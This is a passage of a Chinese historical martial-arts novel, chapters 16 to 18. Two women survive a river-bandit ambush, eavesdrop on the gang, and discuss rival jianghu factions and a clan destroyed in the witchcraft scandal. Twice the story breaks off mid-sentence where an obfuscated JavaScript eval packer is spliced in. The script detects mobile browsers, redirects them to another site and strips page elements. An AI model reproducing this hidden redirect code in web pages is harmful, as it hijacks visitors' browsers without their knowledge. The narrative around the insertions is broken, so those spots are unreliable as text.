当是时,二人正钻到倒扣而下的船舱中,借着水面与船板间的夹缝呼吸。忽而有人跳到上方的船板上,船板猛地下砸,砸到了阿柔的脑袋上,砸得她头一晕,拽着卫绛的手下意识松开了,卫绛霎时又沉了下去。她慌乱中本能地乱抓,一把抓着了阿柔的手臂,连带着阿柔也再度沉下水去。 阿柔入水前深吸一口气,闭气,水下睁眼,挣开卫绛拽着自己的手。互见水下四周拉起一圈渔网,正待将她们一网打尽。两人的行李此时都还背在身上没空卸下来,马也落在水中,也在挣扎,水深约莫丈余,马头能勉强浮出水面。 巨网缠绕而来,阿柔知晓不妙,若是被网住了拖行于河中,她们十死无生。 她发狠,撇下卫绛,咬着匕首快速潜游向网,她这匕首极为特殊,锋锐无匹,抓着网割了几下,就断了网绳,不消片刻就破出一个可供一人通过的口子。 她返身往回游,见卫绛已经沉到下面去了,立刻腰肢一摆,鱼儿般一个猛子扎下去,捞住卫绛,吃力地带着她往渔网破口游。 好不容易游到破口处,她自己是轻松钻过去了,可卫绛这个大块头被卡住了。阿柔脸都憋气变形了,一面拿着匕首继续割渔网,一面在心中将卫绛骂了个狗血淋头。这该死的狼崽子,晕厥了也不撒开手里的刀,弓箭也背在身上,勾勾挂挂,太碍事了。 若不是被她拖累,自己早就逃出生天了,哪有这性命之危。她这一口气也快到极限了,再不把这狼崽子弄出水,她这条命也得搭在这儿。 幸而她命不该绝,终于赶在彻底收网之前将卫绛带了出去,但那匹马就没那么幸运了,被网了个彻底,根本逃脱不了,只是不断地嘶鸣。 阿柔借助水流带着卫绛往下游而去,她知道对岸有芦苇荡,而芦苇荡可以藏身。于是在发现第一处芦苇荡时,便带着卫绛一头钻了进去。 16.第十六章 阿柔使尽浑身解数,将卫绛拖上芦苇荡遮蔽的滩涂。卫绛的面色已然青紫,她连忙将卫绛身上的弓箭、包袱全都卸下来,让她平躺于地,解开她的衣襟,找准胸间穴位,双手交叠狠命按压。 卫绛霎时吐出好多水来,可还是不呼吸。阿柔无法,只得掰开她的齿关,嘴对嘴给她渡气。一次不成再来第二次,循环重复按压与渡气,忙活了好一通,卫绛突然呛出了一大团泥沙,紧接着剧烈咳嗽起来。 “哎呀……”阿柔累坏了,瘫坐在了卫绛身边,大喘着气。 卫绛咳得好似要将心肺都呕出来,好半晌才终于复归平静。她虚弱地爬起来,跽坐揖手向阿柔拜下: “阿柔娘子,救命之恩,无以为报。” 阿柔只是摆手,将散落的湿发拢在脑后,重新盘好,道:“我不图你回报甚么,救你只是因为我不想眼睁睁看着你死在我跟前。” 她说着站起身来,抓起自己的背篓,道:“就在这儿分道扬镳罢,你保重。” 她踩着泥泞的滩涂,拨开眼前一人高的芦苇丛,深一脚浅一脚地走。 日落偏西,黄昏将至。鸦群正从天际掠过,蓬草伴着秋风飘荡。 阿柔走了一会儿,听见身后有脚步声靠近,转头看,便见卫绛带着包袱和武器跟了上来。她浑身泥泞湿透,脸上也脏兮兮的,瞧着很是狼狈,那副强健的身躯,因着还未从方才的溺水中缓过来,走得摇摇晃晃,步履沉重。 “做甚么跟着我?”阿柔问。 “咱们的目的地是一样的。”卫绛道。 阿柔心头一突,道:“你也要去驱邪?” “你不是去驱邪的。”卫绛道,“你在找人,多半是跟我找同一个人。” “你脑子泡汤啦,瞎说些甚么呢?”阿柔叱道。 “我的嗅觉、听觉远超寻常人,你身上的味道,你说话的声音,我打个照面就能记住。就算因着你的伪装而一时想不起来,过不了多久,也就回过味来了。我在卤泊和你过过招,你不必否认了。”卫绛平静解释道。 船上对战时,阿柔穿着软甲、身佩利匕,一身敏捷功夫,着实不像个巫女,倒像个走江湖的侠女。卫绛落水前虽然一直疲于应对艄公的袭击,却也将这些细节都看在眼里,心生疑窦。 直到方才被救苏醒过来,她都尚未确定。可眼下却十分笃定了。她从阿柔身上嗅到了一股特殊的香味,这香味是从她的发丝中逸散开的。这香味她盘发时嗅不大出来,发丝散开后却特别明显。方才她整理湿发时,卫绛嗅到了。 而这个香味,她曾经从卤泊突袭她的那个黑衣女子的发丝间嗅到。再加上女子说话的声调,她也终于分辨出来与那黑衣女子别无二致,因而认出眼前的阿柔其实和她在卤泊打过照面。 阿柔闻言,立刻嗅了嗅自己的胳膊:“我身上有甚么味道?” “你的头发,有一股很香的味道,散开后尤其明显。”卫绛定定望着她道。 夕阳金红的光芒映照着芦苇荡,也不知是否是这光照的,阿柔脸庞倏然绯红。 她撇过脸去,嘟囔着解释道: “那是夜交藤的味道,我以前会用这草药沐发。可我已经许久不用了,这你都能嗅出来?” 卫绛笑了:“我说了,我会听风嗅味追踪。我卓孺狼说话才从不诓人。” 阿柔咬唇,不服气又不得不服气。她美眸一瞪,又扬起下巴,拔高声调道:“你方才还说甚么救命之恩,无以为报。现在就对救命恩人语出讥讽,真真是说话不作数。” “我不是讥讽你,你确实诓了我,你早就认出我来了,却假装不认识我。”卫绛较真道。 “我只是没点破,这不算诓你。我本不打算和你纠缠太多,等乘船过河便与你分开,哪里晓得会横遭劫难,叫你认出我来,现在还缠着我。”阿柔也跟着较真。 “到底是你缠着我,还是我缠着你?”卫绛蹙眉,“你怎的这么巧合就和我一起追到了此处,莫不是跟了我一路?” “你!亏我还好心救你,你就是这么想的?养不熟的白眼狼!”阿柔被她气到,甩开她就跑。 卫绛登时被骂懵了。 方才阿柔骂自己时满脸委屈,眸中似有晶莹一闪而过,卫绛莫名慌了神。见阿柔跑远了,卫绛急忙撒腿去追。她到底还是人高马大,跑起来比阿柔快得多,很快就追上她。 卫绛轻轻拉住她手臂,被阿柔一把攘开,卫绛碰了一鼻子灰,只好软了声道歉道: “对不起,我不该那样想你。” “哼!”阿柔哪能那么快消气,跑是不跑了,但还是快步在前走。 卫绛见她不理自己,只好悻悻地一直跟在她身后。 “莫要跟着我!”阿柔恼道。 “大恩未报,我若失了你的踪迹,还如何报恩?何况我还不知晓你是谁。”卫绛回道。 “都说了不要你报甚么劳什子恩!” “报恩是我的事,你拦阻不了。”卫绛执拗道。 阿柔无语望天,再度加紧了脚步。 “你在寻的那人,是甚么人?”卫绛在后头问。 “我不知晓,我还未查清原委,你就来大开杀戒,把人吓跑了,害得我不得不千里追索。如今你反而来问我,真是……不可理喻!”阿柔怒道。 “那人自称姓王,是个盐商,我就知晓这些。那些水匪为何袭击我们?莫非与他有关?”卫绛又问。 “我哪里知晓!他们又不是我派来的人。不过,我倒是有点头绪。”阿柔道。 “是甚么?” “我为何要对你这白眼狼说?”阿柔气不打一处来。 卫绛咬牙,剖白心迹:“我母女三人自西而来,初来乍到,对汉地的一切都很陌生,自入长安三辅,屡遭劫难,只觉周遭所有人都对我们不怀好意,以至于我难以信任任何人。我阿母眼下病重,官府限我两个月缉拿那王姓盐商归案赎罪,否则就发配我母女三人去边境屯垦。我已无退路,又遇上水匪,差点丢了性命,五内如焚……方才我实在是口不择言,是我不对。但我已无他法,还请阿柔娘子帮我。” 阿柔未说话,也未回头,但脚步终于彻底放缓了。 又走了一会儿,她突然立定,回身看向卫绛道:“既然你我目标一致,我又甩不开你,那我与你说清楚。我眼下要潜回去查清楚那帮水匪的来路,你是要与我一起,还是独自去找那姓王的盐商?” “我与你一起。”卫绛没甚么犹豫就答道。 “你会不会潜行?可莫要拖我后腿。长这么大个子,就不利于隐藏。”阿柔嫌弃道。 卫绛道:“你若觉得我不会,那教我便是,我学得很快。” 阿柔一时语塞,与这人说话,有时候真像是被点穴了似的。 她叮嘱道:“你且先记着压低身子,减轻呼气,注意脚下,莫要踩着甚么枯枝败叶的发出声响。跟紧了我,莫乱跑,若我说噤声,你就莫说话,咱俩用手势交流。” “行,我记着了。” 二人周身湿漉漉地绕出芦苇荡,夕阳已全然落下,只在天际留了一条金边。周遭笼罩在一片将黑未黑的迷蒙靛青之中。大河依旧滔滔奔流,卫绛感知了一下风向,结合水流方向,判断她们当下确然已到河东岸。不多时,二人就回到了方才落水处。 那几艘船已然不见了,渡口栈桥上依旧空无一人,只有栈桥旁立柱上的风灯内有微弱的火苗在跳动。 阿柔蹲在草丛中,对身后的卫绛低声道:“我瞧着他们的船是从上游的芦苇荡里出来的,我们逃脱,他们有两种选择,一是往下游追,二是收手回老巢。我看他们要这么费事对付我二人,恐怕本身力量不足,杀局未成,怕是要回老巢。走,咱们去前头那芦苇荡瞧瞧。” 二人悄然摸向上游,不多时再入芦苇荡,摸索前进了一会儿,果然在芦苇荡内发现了三艘舢板,这三艘舢板中央还围着一个倒扣在水中的舢板,显然就是方才卫绛和阿柔搭乘的那艘。 这几艘船旁的岸边滩涂上有明显的重物拖拽痕迹,卫绛锐利的眸光顺着痕迹延伸,扫过芦苇荡,在远处看到了一簇幽微的火光。她点了一下阿柔,将那火光指给她看。 阿柔点头,示意潜行过去。二人若捕伏猎物的兽,缓慢地拨开芦苇接近那火光。近了,才发觉那是一间草庐,火光是从草庐牖窗口散发出来的灯芒。 似乎有人在那草庐中汇集,二人没急着靠近,先探查四周环境。不见有守卫,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574927|186851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有养鸡犬,这草庐甚至没有篱笆,只是屋后搭了架子,有渔网架在其上。瞧上去只是渔人过夜的歇脚处。 鱼腥味混杂着血腥味传来,让鼻子敏感的卫绛紧蹙双眉。二人发现渔网之下,那匹卫绛从驿站换出来的马已然倒毙于地,被肢解了两条腿,血流了满地。 二人于是小心靠近草庐,阿柔蹲伏在牖窗下,卫绛与她背对背,盯着草庐屋门,屋内传来声响,二人听得清晰: “呸!这马肉都是酸的,真难吃!”一个男子粗声粗气地道。 “淹死的马,将就着吃了,兄弟们七天没开荤了。”另一个男子开口道。 “诶,跑了人,就杀了匹马,屁都没捞到,你们说,阿翁去了河丞那里,会不会把过失都推到咱们头上?” “瞎说甚,你怀疑阿翁?我们都是他养大的孤儿,他还能害了我们不成?”一人激动反驳道。 只听一声响动,像是某人摔了手里的碗,道:“两个女人,出动这么多人,阿翁都亲自坐镇了,还搞得两手空空,兄弟们以后还怎么在河上混?” 一个听上去稍显沉稳智慧的声音道: “你是不晓得,那两个女子可不一般。大块头那个尤其是不一般,军师差点犯在她手里,侥幸逃脱。此女武艺高强,没点手段根本降不服,何况军师千叮咛万嘱咐要活捉,绝不可伤及性命,若不是有阿翁的水上手段,咱们几个人还真不一定够看呢。 “至于另一个小娘子……身份不明,军师提过,说是他自打从杜县县城里出来,就感觉身后缀了个影子,当时卤泊内,有个黑影拖住了大块头,才让他侥幸逃脱。那黑影是个女子,多半就是那个小娘子了。” “诶……为今之计,该当如何?”最开始那嫌弃马肉酸的声音问道。 “等,河丞当下就在潼关渡,阿翁一个来回也就一日足够,且等阿翁回来再做计较。那二女走不远,保不准还会回来,赶紧吃,吃完就歇了,后头还有的忙。” 接着这些人不再交谈甚么,只分肉吃酒,倒头歇觉,不一会儿,屋内的灯火便灭了。 阿柔轻轻拍了一下卫绛,示意她撤。卫绛点头,二人便离开了草庐。无须多言,当下她们自然是要赶往潼关渡,那群人口中的“河丞”和“军师”,多半就在那里。 至于这些人是甚么人,阿柔暂且不说,卫绛也未多问,于当下的她们而言,这是一帮喽啰,知道的事并不多,没必要费劲对付他们。 夜深了,她们一身潮湿与疲惫,急需休整。潼关渡要沿河南下八十余里,走了四五里地,路遇一片野池,水清鱼肥。二人下去,穿着衣服胡乱冲洗了一下身子,将身上的泥沙都冲走,顺带将衣服也洗了。 卫绛没有方才那么怕水了,这池水本就不深,不过到她肩头。阿柔教了她几句游泳的口诀,卫绛在池水里学着扑腾了两下,竟真让她游了丈许远。但她很快就游不动了,实在是没体力了。 阿柔捞了两条鱼上来,用她那锋利的匕首利落地宰杀剖腹,清洗干净,用韧草穿了鳃,提在手中。 池畔恰有一片树林,洗完身子,二人便钻了进去,找了块平整的地歇脚。 卫绛捡了枯枝来,熟稔地升起火。阿柔将鱼用树枝穿了,架在火边烤。又取下腰间盘着的长绳,系在两树之间,褪了身上的湿衣服,搭在绳上晾烤。这湿衣服恰好还能做帷幔,遮蔽火光。 卫绛本忙着生火,一抬头,忽见阿柔身上只剩抱腹穷袴,霎时吃了一惊。火光照耀着她那白皙的肩背腰肢,尚有莹莹水珠挂在她柔嫩的肌肤上。她虽体型娇小,却半点不柔弱,身上隐隐可见筋肉微微隆起的线条,她当是自小就习武,勤于锻炼的。这肩背腰肢,即有女子的窈窕,又不失力量感。 “你也将湿衣服褪下挂上,穿在身上得捂出病来。”阿柔一面挂衣服,一面背对着对卫绛道。 卫绛忙挪开目光,以枯枝捣火,火光将她的面庞烤得绯红。 阿柔将褪下的软甲扑在一旁的石块上,便蹲到火边烤火取暖。虽是初秋八月,暑热尚未彻底散尽。可到了傍晚,密林内还是起了寒意。 她见卫绛跽坐在火边,一动不动,垂眸观火,好似一尊石像,奇怪道: “作甚发愣呢?” 17.第十七章 片刻后,阿柔突然理解了,笑道:“你这白眼狼竟会不好意思脱衣服?咱们不都是女子嘛,有甚么不好意思的。” “我不是白眼狼,我是卓孺狼……”卫绛嘟囔道。 “好好好,小狼崽儿,你脱嘛。”阿柔觉得有趣,有意逗她玩儿。 卫绛抬眸看她一眼,这一眼让阿柔心头一跳。 接着她赌气似的解开腰带,褪下衣衫,褪得也只剩抱腹穷袴,起身晾挂到绳上。阿柔借着火光,见她猿臂蜂腰,双腿颀长,行举间似是蕴着贲张的力。遍体筋肉块块隆起,刻度分明,身无一丝赘肉,筋骨刻线分明,皮肤白皙胜雪,真是好一具漂亮身躯,她不由得看直了眼。 “你……你这身子,这般漂亮强健,有甚不好意思脱的。”轮到阿柔赧然躲开目光,说话声音微微发虚。 “我这身子不似一般女子,不会被人喜爱,我总被人说丑、怪、蛮,将来嫁不出去。”卫绛垂首道。 楼兰城里很多人面上不说,私下里对她议论颇多。阿母、慕沙,还有格尔冬一家人在楼兰城里颇有威望,无形中对她形成了保护,是以她及笄之前从未亲耳听过这些议论。 但及笄后,便是成年了,到了谈婚论嫁的年纪。外人对她的议论也终于突破了亲人对她的保护,入耳入心。 卫绛自幼长在天地间,母亲虽给她布置诸多功课,但只要她能完成课业,母亲就不会拘着她。她浑似天生,从未在意过自身在他人眼中的美丑。 但自月事初潮,她忽而生了女子心,再也无法毫不在意。有心便会伤心,她很难过,总会在意自己的与众不同之处。但她觉得这些想法违背了母亲对她的教导,不足对外道,是以藏在心中,从未对阿母和慕沙倾诉过这些。 “胡说!谁人这般有目无珠还乱嚼舌根,教我遇上了,定撕烂了那张臭嘴!”阿柔闻言很是气愤。 卫绛愕然望着她:“你不觉得我丑吗?” “你哪里丑了?在我们楚巫相面术来看,你面相极好,眉浓眼清,鼻正挺、唇红润、齿齐白。三庭五眼特别端正,这是为人耿介清正之相,将来飞黄腾达不在话下。我就没见过似你这般漂亮的人,你父母将你生养得如此好,你怎还如此颟顸?”阿柔不理解卫绛的想法。 “可……为何他们都说我嫁不出去……”卫绛嗫嚅。 “要么是见识短,要么是不如你,是以反说你丑罢了。哼!妒忌心真是丑陋呀。”阿柔很是不以为意道。 卫绛笑了,有阿柔这番话,她心头突然释怀了。是啊,何苦那般在意他人想法。 阿柔突然问道:“你想嫁出去吗?心中可有如意郎君?” 卫绛抬眸望向她,定定然道:“我没想过要嫁人,我只想完成我阿母的两大愿,这两大愿里没有嫁人。” “哪两大愿?”阿柔好奇问。 “我……我不能说。”卫绛挠头。 “噗……”阿柔笑喷出来,“你这人真是不会撒谎,不过倒是直率得很,想甚么说甚么,这点对我胃口。” 卫绛踌躇道:“阿柔娘子可否也对我直率些。我此前对你的疑问,能否解惑?我绝无怀疑冒犯之意,只是眼下我俩要合力对付那群不明来路的水匪,而有些事我想条分理析,以明个中道理。” “你是指……我是不是跟了你一路?”阿柔挑眉道。 卫绛点了点头,阿柔一时不言语,将烤鱼翻了面,又抓了一根枯枝拨动火焰。卫绛嗅着烤鱼的香气,肚子叫了起来,她实在太饿了。自渡河前吃了一个米团子后,她就再未吃过东西。折腾到现在,实在是消耗过大。 阿柔听她肚子打雷般震天响,哈哈大笑起来。 “瞧你饿的,你身上还有干粮吗?” 卫绛拿了自己湿透了的包袱,取出干粮袋,这干粮袋里的粟糕和肉脯都泡水了,烂糊一片,实在难以下嘴。 “我这儿还有些米团子,包在荷叶里的,没有被水泡。烤鱼也都给你了。”阿柔从自己的竹篓子里取出了所有的米团子,自己只拿了一个,其余的全给了卫绛。 “你……你够吃吗?”卫绛捧着四五个米团子,问阿柔。 “我不是很饿,你饭量大,你吃罢。”阿柔剥开自己的那个米团子,咬了一口,不甚在意道。 “你怎知……我饭量大?”卫绛轻声问。 阿柔微微一滞,随后若无其事道:“你不是问我是不是一直跟着你嘛,没错,我是一直跟着你。” “从甚么时候开始的?”卫绛追问,并开始往嘴里塞米团子,她几乎两口一个,吃得极快。 “那夜,我从你手底下逃走,去追那王姓盐商,但失了踪迹。无奈之下,只得折返,思来想去,决意还是从卤泊查起,结果就看到了你被县尉押解回县城,我想着卤泊和官府也许有甚么勾连,便跟着去了。此后你在县衙里的事,我知道个大概。你一路到蒲坂津,我都跟在后面。”阿柔道。 卫绛鼓着腮帮子,感到不可思议:“你这隐匿的功夫真是了不得,我竟没有丝毫察觉。” “哼哼,那是我家传的功夫——傩步。”阿柔颇为得意。 “傩戏的步法吗?你们楚巫还有武学传承?”卫绛吞下口中食物,好奇问。 “我该告诉你的也告诉你了,你到底分析出甚么来了?”阿柔白她一眼,硬是转开了话题。 卫绛已经吃完了米团子,一边剥掉烤鱼上的焦块儿,一边解释道:“我会到蒲坂津渡河,是因我抓了一个盐工询问而得知。我人生地不熟,根本不识路,若不是那个盐工故意告诉我要到蒲坂津渡河,我也许根本不会走那里。后来我在蒲坂津前的驿站换马时,驿站外聚了一群客商模样的人,在议论蒲坂津船被调走的事,这些人似乎也在迷惑我,降低我的警惕心。 “是以,盐工和驿站外的人,都是有人刻意安排的,我被人一步步引导至蒲坂津。你若不是一直跟着我,绝不该如此巧合出现在我身边。我想到此处,不觉脊背发寒,咱们要对付的这个势力,人手广大,眼线众多,很是棘手。做局之人心思深密,他将我引到蒲坂津下手,连你也能捎带上,一石二鸟。若不是你本事大,还拼死救我,我还真就栽在那里了。是我经验太浅……” 阿柔笑一下,道:“老江湖也未必不会着了那人的道,何况是你我。小狼崽儿,你很聪明,能动脑筋想到这些,已然不容易。你既然卷进来了,有些事确实得知道一下,起码得知道你在对付谁。你可知道漕盟?” 卫绛摇了摇头。 “那你知晓这汉地有哪些江湖势力吗?”阿柔又问。 卫绛还是摇头。 阿柔无奈扶额,道:“罢了罢了,我与你从头讲起。 “当今天下分东、南、西北、塞外、中原五大江湖势力,每个区域内都有一个魁首势力。江湖上有一句顺口溜,谓之:东漕盟、南楚巫、中太一,西北十二军、塞外天山客。” 咬着烤鱼的卫绛登时瞪大双眼,在心中默念了一遍这个顺口溜。 阿柔继续道:“虽然地域之上做了划分,但这只是说这五大势力起源自何地,并不意味着他们就龟缩在原地从未出来过。实际上,这五大势力当下在各地盘根错节,几乎遍布汉地全境。可能也就塞外天山客势力稍弱,未能深入汉地。” “我自塞外来,怎的从未听说过甚么天山客?”卫绛抹掉唇上的油问道。她的金雕就叫天山,因着她阿母是天山来的乌孙人。竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586869|186851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一个江湖势力和她的金雕同名,她实在好奇。 “天山客很神秘,也就是近二十年刚出现,我也未亲眼见过,只是有所耳闻。听闻他们与西北十二军关系密切,但都是胡人。主要在塞外活动,会从西域藩国和大商人乃至于汉军手里拿钱财,专门打击匈奴扶持的劫匪。这些人驯鹰养犬,弓马娴熟,一夜能辗转奔袭百里,进退如风,很有些威名。” 卫绛迷惑:“听上去和我的本事挺像?” 阿柔笑了:“我起初也以为你是天山客的人,结果发现你就是个啥也不懂的夯货,跟个莽牛似的没头没脑地乱撞。” 她这话说得很不客气,卫绛却也不着恼,心平气和地问:“那十二军是甚么势力?” 阿柔解释道:“那是个汉军中的退伍军卒私下里组织起来的势力,他们的十二位首领恰好属相凑齐十二地支,于是就以十二地支各自为号。主要分布在汉地西北一带和塞外军屯之中,会协助军队做一些准军事活动。包括押运、护送、打击盗匪、筑造工事等,平日里看上去就是些平民,农户、猎户、匠人,这群人很得人心,组织相对松散,辐射广博,只要是兵源地,大多都有他们的人。 “不过,因着他们身份特殊,与军队有千丝万缕的关系,故而他们一般不会在明面上活动,也没有固定的集会之所。否则一旦被朝廷盯上,很容易会被扣上乱党的罪名剿灭。” “确然如此……”卫绛若有所思。 阿柔继续道:“这中太一,就是你去太乙山拜访的太一玄坛。太一玄坛是天下方士执牛耳者,且地位尊崇,因谶纬和导引术,与天家关系密切,民间更是崇拜不已,香火鼎盛,供奉不断。 “不过……据我所知,太一玄坛当下正遭血光之灾,有一伙来历不明的人,近两个月来一直在猎杀太一玄坛的人。有些不属于太一玄坛的方士也被无辜袭击。” 卫绛道:“我听闻太一玄坛的道祖涂山翁都遭袭击失踪了?” 阿柔呵呵一笑,道:“那涂山翁狡兔三窟,哪里会那么轻易授首?他定是逃了,不知躲到何处去了,说不定进了皇家宫苑被保护起来了。再过一段时日,待局势明朗,官府差不多查出杀人匪徒的本来面目了,他恐怕就又要出现了。到时你且看我说得对不对。” 卫绛点头,认可阿柔的说法。此时,她已吃完了一条烤鱼,将剩下的那条硬是塞给了阿柔。 阿柔拗不过,到底还是饿,于是一边吃一边道:“说到这来历不明的杀人匪徒,就不得不提东漕盟了。我想你也看出来了,漕盟就是依附着漕运而兴起的民间势力。这势力最开始起于齐鲁,是因着齐地盐业而兴起的。所以称之为‘东漕盟’。 “不同的河道、渠口,有不同的帮派,诸如渭水帮、淮阴帮、济北舵、大江帮等,他们也有各自捞钱的营生,有的偏捞粮食,有的私贩盐铁,有的做那水匪的勾当,都是些亡命徒。漕盟的势力与官府关系相当密切,基本都是半官半匪的身份。 “单论离咱们最近的渭水帮,老大称作‘河丞’,专司渭河的船舶调度。河丞手里有多少船,多少人,就代表着他势力有多强。河丞下便是‘船头’,是一艘船上的老大,依据船的大小,手下人或多或少。光是水下的人还不够,岸上还得有人,称之为‘仓牙’,一般都是官府之中专管仓储的吏,岸上岸下互相联络照应,就可以从漕运之中抠出分润来肥私。 “仓牙地位一般比船头要高,而船头手底下的人便是漕盟最底层的卒。因工种划分为水鬼、舵手、索夫、钩兵、力士。最难对付的是水鬼,这水鬼可以潜游水中,憋气许久不浮上水面,暗中凿穿船底,让人防不胜防。” 卫绛疑惑道:“怎没有‘军师’?” 18.第十八章 阿柔摇头道:“漕盟里本就没有军师这个称号,这军师就相当于是河丞请来的幕僚、智囊。我正要说到,潼关渡是渭水帮的大本营,故而咱们遭遇的多半就是渭水帮的人。他们的河丞不知从何处请来了一个军师,就是咱们在找的那个王姓盐商。这个王姓盐商此前还伙同了另外一帮人,做了袭击太一玄坛的勾当,他们极有可能就是近两月来袭击方士的真凶。” “渭水帮和太一玄坛有仇怨?”卫绛蹙眉问。 “从未听说过有甚么仇怨,至少未曾在江湖上传得沸沸扬扬。那军师来历不明,目的不明,借着渭水帮的势力做自己的事,这正是我要查清楚的。”阿柔道。 “你为何要查他?你似乎也不认识他?”卫绛又问。 阿柔望着她,片刻后似是下了决心,道:“告诉你也无妨,但此事涉及到我安危。请你保密,莫要再对他人提及,包括你阿母、阿姊。” “好。”卫绛答应下来。 阿柔的声线沉缓:“我与你提过,我是楚巫,这不是诓你的,是真的。我已与你讲了四大汉地江湖势力,还剩下一个南楚巫,就是我所属的势力。南楚巫是个相当粗浅的泛称,其中流派甚多,百越百濮各自有各自的巫术,但他们大多与中原隔绝,并不参与中原地区的争斗。 “唯有一个楚巫流派,与中原纠葛颇深。曾因武帝而盛极一时,也因武帝而一夜消散,便是云梦巫门。云梦就是云梦泽,我就来自洞庭之南的云梦巫门。 “武帝召集天下方士为他寻找长生之术,占卜吉凶。我母亲那会儿还是个孩子,随着祖母来到长安,为武帝进行楚巫占卜。她在长安度过了一整个少时年华,在长安学会识字读书,后和我父亲结合。我父亲是太常下辖的太卜巫师,是皇家御用的巫师,正统的傩巫。 “巫蛊大祸时,我父亲连带着整个云梦巫门被人诬告。父亲被下狱冤杀,母亲带着我一路南逃,躲进大山,才保全性命。云梦巫门被官府直接派兵剿灭,我们家所有的亲属全没了,血染洞庭。如此血海深仇,铭心蚀骨。 “武帝晚年为太子和卫皇后平反,可云梦巫门并未被彻底洗清罪孽,仍然是世人口中的邪巫秽教。我与母亲不得不隐姓埋名,寻找平反的契机来洗清冤屈。我的目的很简单,就是想找出当年诬告云梦巫门的罪魁祸首,冤有头债有主,我必报此仇。” 说到此处,她已双目通红,面上有着掩饰不住的愤恨之色。卫绛心有戚戚,她不曾想眼前的女子与自己一般,都是巫蛊祸事之遗民。想来她此前所说的十六年前的楚巫遭劫,就是巫蛊大祸了。 不过她仔细想想却又察觉到不对的地方,问道:“你既想要寻诬告你们的人,却又与那王姓盐商有何关联?” 阿柔叹了口气,道:“我方才说了,我阿父阿母早年间都在长安生活,且就身居长安城中,可出入宫廷,与各路达官显贵、百官千吏都有接触。我阿父好天文观星,他手绘的天象图,太子相当欣赏,时常寻他谈论天象。是以我阿父被认为是太子一党,是下一任太卜令乃至于太常卿。 “诬告我阿父之人,多半就是当年诬告卫氏与太子之人。” “朱安世?”卫绛道。 阿柔点头:“没错,朱安世算是明子之一。且朱安世地位相当高,幕后黑手不想让他死。他在巫蛊大案之中趁乱下落不明,太过可疑。世人都以为此事乃江充所为,朱安世也是受他指使。可江充死了,朱安世却从狱中脱身,哪有棋子还活着棋手却死了的事?救走朱安世的人才是真正的幕后黑手,江充也不过是明子之一罢了。” 衣服烤得差不多干了,阿柔将衣服拿下来,一一穿上,一边系带一边道: “此事说来话长,我云梦巫门虽然是被外人诬告所害,实际内部也有里应外合的叛徒。不知你是否知晓巫蛊时的丞相刘屈氂,他是汉室宗亲。他曾酒后乱性,与歌女生下一个儿子,额生犄角,怪模怪样,使他心中不喜。 “养到七岁时,刘屈氂府上出了不少邪门事,似乎都与那怪子有关,于是他请我祖母为此子相面,听闻是克父之相,当即便让我祖母将此子带走。此子后来便随我祖母入了云梦巫门,随我舅公修行。他和我母亲打了个照面,由于他长相怪异,被我母亲一眼记住,但我母亲的长相他却未曾记得。我母亲后来就随祖母去了长安,和他不算熟悉。” 卫绛也跟着她穿衣,听到此处,插话问道:“总听你提起祖母,我一直想问,你母亲怎会跟着你祖母去长安?” 阿柔解释道:“哦,你大概不清楚,我云梦巫门是女子当家,家中都是女子顶门立户,我所谓的祖母,就是你们的外祖母,是我母亲的母亲。” “咦?那你家中的男子都是娶进来的吗?”卫绛好奇问。 阿柔解释道:“不算是娶进来的,不知你是否听说过走婚,就是青年男女相中彼此后,便由男子去女子家中过夜,生下的孩子不论男女都归女方来抚养,若是女儿则继承家业,若是儿子便辅佐家业,习武抵御外敌。家中除了母亲,便是舅舅为大。 “我云梦巫门,大巫都是女子,皆声名远播。高祖时,我太祖母曾为周勃看相,预言周勃三年后继承爵位,八年后拜相,九年后饿死。此后验证无一丝偏差,因此声名大震,开宗立派。家中男子则负责巫门武学传承,男女各有传承侧重,但也非互相隔绝。如我,便是一肩挑,巫术与武学我都是门内顶尖。” 提及此,阿柔颇有几分傲意。 “原来如此。”卫绛恍然大悟,听起来,云梦巫门真是十分有趣。可惜……已然被近乎族灭了。 阿柔白她一眼,道:“你这一打岔,我讲到哪儿了?” “你说到……叛徒。” 阿柔捏紧拳头:“对!叛徒。那叛徒随我舅公习武,学艺不精,倒是将我门内机关术学了去,对此十分精通。巫蛊案发前,他来长安见我阿父,彼时我阿母恰好不在。他是来求我阿父给他谋个一官半职,我阿父不肯这么做,他和我阿父大吵了一架,便消失不见。 “巫蛊案发后,朝廷绞杀我云梦巫门时,手中有一份十分清晰的名单,将我全家杀得近乎一个不漏。我巫门的机关术图也都被窃走了,定是那叛徒出卖。 “而此人不久前于长安重现,恰好被我阿母撞见认出。她立刻让我追了上去,一路跟踪,追到了太乙山,又从太乙山追到了卤泊。不成想,你却出现在卤泊,将那人一箭射杀。” “啊?!竟然是那射声箭师刘彧?!”卫绛大吃一惊。 “对,他是叫刘豫。予象豫。” “不,是这个彧。”卫绛说着,用树枝在地上写了字。 “他定是改名了,没想到他这些年一直躲在北军之中,其实与我只有咫尺之遥,只差一点我就能抓住他了,唉!”阿柔很是懊恼。 “实在抱歉,是我做事太鲁莽了……”卫绛心生愧疚,“怪不得你们弩箭制式相同,都是银制的,我如今才终于明白。” 